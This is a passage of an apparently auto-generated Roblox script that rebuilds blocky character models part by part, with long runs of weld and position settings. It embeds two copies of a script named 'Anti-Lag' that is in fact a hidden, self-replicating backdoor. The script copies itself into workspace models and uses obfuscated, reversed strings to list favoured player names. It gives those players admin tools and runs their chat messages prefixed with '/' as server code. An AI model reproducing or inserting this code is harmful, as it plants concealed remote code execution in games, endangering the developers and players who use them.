0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld731.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0) Weld731.Part0 = Part727 Weld731.Part1 = Part718 Weld731.part1 = Part718 Weld732.Parent = Part727 Weld732.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld732.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0) Weld732.Part0 = Part727 Weld732.Part1 = Part718 Weld732.part1 = Part718 Weld733.Parent = Part727 Weld733.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld733.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0) Weld733.Part0 = Part727 Weld733.Part1 = Part718 Weld733.part1 = Part718 Model734.Parent = Model368 Part735.Name = "Right Arm" Part735.Parent = Model734 Part735.CFrame = CFrame.new(-15.5410156, 55.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part735.Orientation = Vector3.new(-90, 0, 0) Part735.Position = Vector3.new(-15.5410156, 55.5002365, -205.551559) Part735.Rotation = Vector3.new(-90, 0, 0) Part735.Color = Color3.new(0.294118, 0.592157, 0.294118) Part735.Size = Vector3.new(1, 2, 1) Part735.Anchored = true Part735.BottomSurface = Enum.SurfaceType.Smooth Part735.BrickColor = BrickColor.new("Bright green") Part735.TopSurface = Enum.SurfaceType.Smooth Part735.brickColor = BrickColor.new("Bright green") Weld736.Parent = Part735 Weld736.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld736.C1 = CFrame.new(0.599975586, -0.199996948, -1, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld736.Part0 = Part735 Weld736.Part1 = Part704 Weld736.part1 = Part704 Part737.Name = "Right Arm" Part737.Parent = Model734 Part737.CFrame = CFrame.new(-16.5410156, 55.5002365, -205.551559, 0, 0, -1, 1, 0, 0, 0, -1, 0) Part737.Orientation = Vector3.new(0, -90, 90) Part737.Position = Vector3.new(-16.5410156, 55.5002365, -205.551559) Part737.Rotation = Vector3.new(-90, -90, 0) Part737.Color = Color3.new(0.294118, 0.592157, 0.294118) Part737.Size = Vector3.new(1, 2, 1) Part737.Anchored = true Part737.BottomSurface = Enum.SurfaceType.Smooth Part737.BrickColor = BrickColor.new("Bright green") Part737.TopSurface = Enum.SurfaceType.Smooth Part737.brickColor = BrickColor.new("Bright green") Weld738.Parent = Part737 Weld738.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld738.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld738.Part0 = Part737 Weld738.Part1 = Part704 Weld738.part1 = Part704 Weld739.Parent = Part737 Weld739.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld739.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld739.Part0 = Part737 Weld739.Part1 = Part707 Weld739.part1 = Part707 Weld740.Parent = Part737 Weld740.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld740.C1 = CFrame.new(0.599975586, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld740.Part0 = Part737 Weld740.Part1 = Part704 Weld740.part1 = Part704 Weld741.Parent = Part737 Weld741.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld741.C1 = CFrame.new(0.5, 0.200073242, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld741.Part0 = Part737 Weld741.Part1 = Part707 Weld741.part1 = Part707 Weld742.Parent = Part737 Weld742.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld742.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld742.Part0 = Part737 Weld742.Part1 = Part704 Weld742.part1 = Part704 Weld743.Parent = Part737 Weld743.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld743.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld743.Part0 = Part737 Weld743.Part1 = Part707 Weld743.part1 = Part707 Weld744.Parent = Part737 Weld744.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld744.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld744.Part0 = Part737 Weld744.Part1 = Part704 Weld744.part1 = Part704 Weld745.Parent = Part737 Weld745.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld745.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0) Weld745.Part0 = Part737 Weld745.Part1 = Part704 Weld745.part1 = Part704 Weld746.Parent = Part737 Weld746.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld746.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld746.Part0 = Part737 Weld746.Part1 = Part707 Weld746.part1 = Part707 Weld747.Parent = Part737 Weld747.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld747.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0) Weld747.Part0 = Part737 Weld747.Part1 = Part707 Weld747.part1 = Part707 Part748.Name = "Torso" Part748.Parent = Model734 Part748.CFrame = CFrame.new(-16.0410156, 57.0002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part748.Position = Vector3.new(-16.0410156, 57.0002365, -205.051559) Part748.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part748.Size = Vector3.new(2, 2, 1) Part748.Anchored = true Part748.BrickColor = BrickColor.new("Bright blue") Part748.LeftParamA = 0 Part748.LeftParamB = 0 Part748.LeftSurface = Enum.SurfaceType.Weld Part748.RightParamA = 0 Part748.RightParamB = 0 Part748.RightSurface = Enum.SurfaceType.Weld Part748.brickColor = BrickColor.new("Bright blue") Weld749.Parent = Part748 Weld749.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld749.C1 = CFrame.new(-0.900024414, -0.199996948, -0.5, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld749.Part0 = Part748 Weld749.Part1 = Part704 Weld749.part1 = Part704 Weld750.Parent = Part748 Weld750.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld750.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, -0, 0, 0, 1, 0) Weld750.Part0 = Part748 Weld750.Part1 = Part761 Weld750.part1 = Part761 Part751.Name = "Right Arm" Part751.Parent = Model734 Part751.CFrame = CFrame.new(-14.5410156, 57.3001671, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part751.Orientation = Vector3.new(-90, 0, 0) Part751.Position = Vector3.new(-14.5410156, 57.3001671, -205.551559) Part751.Rotation = Vector3.new(-90, 0, 0) Part751.Color = Color3.new(0.960784, 0.803922, 0.188235) Part751.Size = Vector3.new(1, 2, 1) Part751.Anchored = true Part751.BottomSurface = Enum.SurfaceType.Smooth Part751.BrickColor = BrickColor.new("Bright yellow") Part751.TopSurface = Enum.SurfaceType.Smooth Part751.brickColor = BrickColor.new("Bright yellow") Weld752.Parent = Part751 Weld752.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld752.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld752.Part0 = Part751 Weld752.Part1 = Part748 Weld752.part1 = Part748 Weld753.Parent = Part751 Weld753.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld753.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld753.Part0 = Part751 Weld753.Part1 = Part748 Weld753.part1 = Part748 Weld754.Parent = Part751 Weld754.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld754.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld754.Part0 = Part751 Weld754.Part1 = Part748 Weld754.part1 = Part748 Weld755.Parent = Part751 Weld755.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld755.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld755.Part0 = Part751 Weld755.Part1 = Part748 Weld755.part1 = Part748 Weld756.Parent = Part751 Weld756.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld756.C1 = CFrame.new(1, 0.299926758, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld756.Part0 = Part751 Weld756.Part1 = Part748 Weld756.part1 = Part748 Part757.Name = "Head" Part757.Parent = Model734 Part757.CFrame = CFrame.new(-16.0410156, 58.5002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part757.Position = Vector3.new(-16.0410156, 58.5002365, -205.051559) Part757.Color = Color3.new(0.960784, 0.803922, 0.188235) Part757.Size = Vector3.new(2, 1, 1) Part757.Anchored = true Part757.BrickColor = BrickColor.new("Bright yellow") Part757.TopSurface = Enum.SurfaceType.Smooth Part757.brickColor = BrickColor.new("Bright yellow") SpecialMesh758.Parent = Part757 SpecialMesh758.Scale = Vector3.new(1.25, 1.25, 1.25) Decal759.Name = "face" Decal759.Parent = Part757 Snap760.Parent = Part757 Snap760.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap760.C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0) Snap760.Part0 = Part757 Snap760.Part1 = Part748 Snap760.part1 = Part748 Part761.Name = "Right Arm" Part761.Parent = Model734 Part761.CFrame = CFrame.new(-17.5410156, 57.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part761.Orientation = Vector3.new(-90, 0, 0) Part761.Position = Vector3.new(-17.5410156, 57.5002365, -205.551559) Part761.Rotation = Vector3.new(-90, 0, 0) Part761.Color = Color3.new(0.960784, 0.803922, 0.188235) Part761.Size = Vector3.new(1, 2, 1) Part761.Anchored = true Part761.BottomSurface = Enum.SurfaceType.Smooth Part761.BrickColor = BrickColor.new("Bright yellow") Part761.TopSurface = Enum.SurfaceType.Smooth Part761.brickColor = BrickColor.new("Bright yellow") Script762.Name = "Anti-Lag" Script762.Parent = Part761 table.insert(cors,sandbox(Script762,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld763.Parent = Part761 Weld763.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld763.C1 = CFrame.new(-1.40002441, -0.199996948, 1, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld763.Part0 = Part761 Weld763.Part1 = Part704 Weld763.part1 = Part704 Model764.Parent = Model368 Part765.Name = "Right Arm" Part765.Parent = Model764 Part765.CFrame = CFrame.new(-30.0410156, 55.5002365, -210.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part765.Orientation = Vector3.new(-90, -90, 0) Part765.Position = Vector3.new(-30.0410156, 55.5002365, -210.051559) Part765.Rotation = Vector3.new(-90, 0, -90) Part765.Color = Color3.new(0.294118, 0.592157, 0.294118) Part765.Size = Vector3.new(1, 2, 1) Part765.Anchored = true Part765.BottomSurface = Enum.SurfaceType.Smooth Part765.BrickColor = BrickColor.new("Bright green") Part765.TopSurface = Enum.SurfaceType.Smooth Part765.brickColor = BrickColor.new("Bright green") Weld766.Parent = Part765 Weld766.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld766.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld766.Part0 = Part765 Weld766.Part1 = Part648 Weld766.part1 = Part648 Weld767.Parent = Part765 Weld767.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld767.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld767.Part0 = Part765 Weld767.Part1 = Part659 Weld767.part1 = Part659 Weld768.Parent = Part765 Weld768.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld768.C1 = CFrame.new(0.599975586, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld768.Part0 = Part765 Weld768.Part1 = Part659 Weld768.part1 = Part659 Weld769.Parent = Part765 Weld769.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld769.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld769.Part0 = Part765 Weld769.Part1 = Part648 Weld769.part1 = Part648 Weld770.Parent = Part765 Weld770.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld770.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld770.Part0 = Part765 Weld770.Part1 = Part648 Weld770.part1 = Part648 Weld771.Parent = Part765 Weld771.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld771.C1 = CFrame.new(0.5, 0.199935913, -0.399776459, 0, -1, 0, 0, 0, -1, 1, 0, 0) Weld771.Part0 = Part765 Weld771.Part1 = Part648 Weld771.part1 = Part648 Weld772.Parent = Part765 Weld772.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld772.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld772.Part0 = Part765 Weld772.Part1 = Part659 Weld772.part1 = Part659 Weld773.Parent = Part765 Weld773.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld773.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld773.Part0 = Part765 Weld773.Part1 = Part659 Weld773.part1 = Part659 Weld774.Parent = Part765 Weld774.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld774.C1 = CFrame.new(0.599971771, -0.199951172, -1, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld774.Part0 = Part765 Weld774.Part1 = Part659 Weld774.part1 = Part659 Part775.Name = "Right Arm" Part775.Parent = Model764 Part775.CFrame = CFrame.new(-30.0410156, 55.5002365, -211.051559, 0, 1, 0, 1, 0, 0, 0, 0, -1) Part775.Orientation = Vector3.new(0, 180, 90) Part775.Position = Vector3.new(-30.0410156, 55.5002365, -211.051559) Part775.Rotation = Vector3.new(-180, 0, -90) Part775.Color = Color3.new(0.294118, 0.592157, 0.294118) Part775.Size = Vector3.new(1, 2, 1) Part775.Anchored = true Part775.BottomSurface = Enum.SurfaceType.Smooth Part775.BrickColor = BrickColor.new("Bright green") Part775.TopSurface = Enum.SurfaceType.Smooth Part775.brickColor = BrickColor.new("Bright green") Weld776.Parent = Part775 Weld776.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld776.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0) Weld776.Part0 = Part775 Weld776.Part1 = Part659 Weld776.part1 = Part659 Weld777.Parent = Part775 Weld777.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld777.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0) Weld777.Part0 = Part775 Weld777.Part1 = Part659 Weld777.part1 = Part659 Weld778.Parent = Part775 Weld778.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld778.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0) Weld778.Part0 = Part775 Weld778.Part1 = Part659 Weld778.part1 = Part659 Weld779.Parent = Part775 Weld779.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld779.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0) Weld779.Part0 = Part775 Weld779.Part1 = Part659 Weld779.part1 = Part659 Weld780.Parent = Part775 Weld780.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld780.C1 = CFrame.new(0.599975586, -0.199951172, 0, -1, 0, 0, -0, 0, 1, -0, 1, 0) Weld780.Part0 = Part775 Weld780.Part1 = Part659 Weld780.part1 = Part659 Part781.Name = "Torso" Part781.Parent = Model764 Part781.CFrame = CFrame.new(-30.5410156, 57.0002365, -210.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part781.Orientation = Vector3.new(0, -90, 0) Part781.Position = Vector3.new(-30.5410156, 57.0002365, -210.551559) Part781.Rotation = Vector3.new(0, -90, 0) Part781.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part781.Size = Vector3.new(2, 2, 1) Part781.Anchored = true Part781.BrickColor = BrickColor.new("Bright blue") Part781.LeftParamA = 0 Part781.LeftParamB = 0 Part781.LeftSurface = Enum.SurfaceType.Weld Part781.RightParamA = 0 Part781.RightParamB = 0 Part781.RightSurface = Enum.SurfaceType.Weld Part781.brickColor = BrickColor.new("Bright blue") Weld782.Parent = Part781 Weld782.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld782.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld782.Part0 = Part781 Weld782.Part1 = Part798 Weld782.part1 = Part798 Weld783.Parent = Part781 Weld783.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld783.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0) Weld783.Part0 = Part781 Weld783.Part1 = Part802 Weld783.part1 = Part802 Snap784.Parent = Part781 Snap784.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap784.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Snap784.Part0 = Part781 Snap784.Part1 = Part799 Snap784.part1 = Part799 Weld785.Parent = Part781 Weld785.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld785.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld785.Part0 = Part781 Weld785.Part1 = Part659 Weld785.part1 = Part659 Weld786.Parent = Part781 Weld786.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld786.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0) Weld786.Part0 = Part781 Weld786.Part1 = Part802 Weld786.part1 = Part802 Weld787.Parent = Part781 Weld787.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld787.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0) Weld787.Part0 = Part781 Weld787.Part1 = Part802 Weld787.part1 = Part802 Weld788.Parent = Part781 Weld788.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld788.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld788.Part0 = Part781 Weld788.Part1 = Part798 Weld788.part1 = Part798 Weld789.Parent = Part781 Weld789.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld789.C1 = CFrame.new(-0.900024414, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld789.Part0 = Part781 Weld789.Part1 = Part659 Weld789.part1 = Part659 Weld790.Parent = Part781 Weld790.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld790.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld790.Part0 = Part781 Weld790.Part1 = Part659 Weld790.part1 = Part659 Weld791.Parent = Part781 Weld791.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld791.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld791.Part0 = Part781 Weld791.Part1 = Part659 Weld791.part1 = Part659 Weld792.Parent = Part781 Weld792.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld792.C1 = CFrame.new(-0.5, -0.5, -0.299926758, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld792.Part0 = Part781 Weld792.Part1 = Part798 Weld792.part1 = Part798 Weld793.Parent = Part781 Weld793.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld793.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, -0, -1, 0, -0, -0, 1, -1, -0, 0) Weld793.Part0 = Part781 Weld793.Part1 = Part659 Weld793.part1 = Part659 Weld794.Parent = Part781 Weld794.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld794.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld794.Part0 = Part781 Weld794.Part1 = Part798 Weld794.part1 = Part798 Weld795.Parent = Part781 Weld795.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld795.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0) Weld795.Part0 = Part781 Weld795.Part1 = Part802 Weld795.part1 = Part802 Weld796.Parent = Part781 Weld796.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld796.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld796.Part0 = Part781 Weld796.Part1 = Part798 Weld796.part1 = Part798 Weld797.Parent = Part781 Weld797.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld797.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, 0, 0, 0, 1, 0) Weld797.Part0 = Part781 Weld797.Part1 = Part802 Weld797.part1 = Part802 Part798.Name = "Right Arm" Part798.Parent = Model764 Part798.CFrame = CFrame.new(-30.0410156, 57.3001671, -209.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part798.Orientation = Vector3.new(-90, -90, 0) Part798.Position = Vector3.new(-30.0410156, 57.3001671, -209.051559) Part798.Rotation = Vector3.new(-90, 0, -90) Part798.Color = Color3.new(0.960784, 0.803922, 0.188235) Part798.Size = Vector3.new(1, 2, 1) Part798.Anchored = true Part798.BottomSurface = Enum.SurfaceType.Smooth Part798.BrickColor = BrickColor.new("Bright yellow") Part798.TopSurface = Enum.SurfaceType.Smooth Part798.brickColor = BrickColor.new("Bright yellow") Part799.Name = "Head" Part799.Parent = Model764 Part799.CFrame = CFrame.new(-30.5410156, 58.5002365, -210.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part799.Orientation = Vector3.new(0, -90, 0) Part799.Position = Vector3.new(-30.5410156, 58.5002365, -210.551559) Part799.Rotation = Vector3.new(0, -90, 0) Part799.Color = Color3.new(0.960784, 0.803922, 0.188235) Part799.Size = Vector3.new(2, 1, 1) Part799.Anchored = true Part799.BrickColor = BrickColor.new("Bright yellow") Part799.TopSurface = Enum.SurfaceType.Smooth Part799.brickColor = BrickColor.new("Bright yellow") SpecialMesh800.Parent = Part799 SpecialMesh800.Scale = Vector3.new(1.25, 1.25, 1.25) Decal801.Name = "face" Decal801.Parent = Part799 Part802.Name = "Right Arm" Part802.Parent = Model764 Part802.CFrame = CFrame.new(-30.0410156, 57.5002365, -212.051559, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part802.Orientation = Vector3.new(-90, -90, 0) Part802.Position = Vector3.new(-30.0410156, 57.5002365, -212.051559) Part802.Rotation = Vector3.new(-90, 0, -90) Part802.Color = Color3.new(0.960784, 0.803922, 0.188235) Part802.Size = Vector3.new(1, 2, 1) Part802.Anchored = true Part802.BottomSurface = Enum.SurfaceType.Smooth Part802.BrickColor = BrickColor.new("Bright yellow") Part802.TopSurface = Enum.SurfaceType.Smooth Part802.brickColor = BrickColor.new("Bright yellow") Script803.Name = "Anti-Lag" Script803.Parent = Part802 table.insert(cors,sandbox(Script803,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function 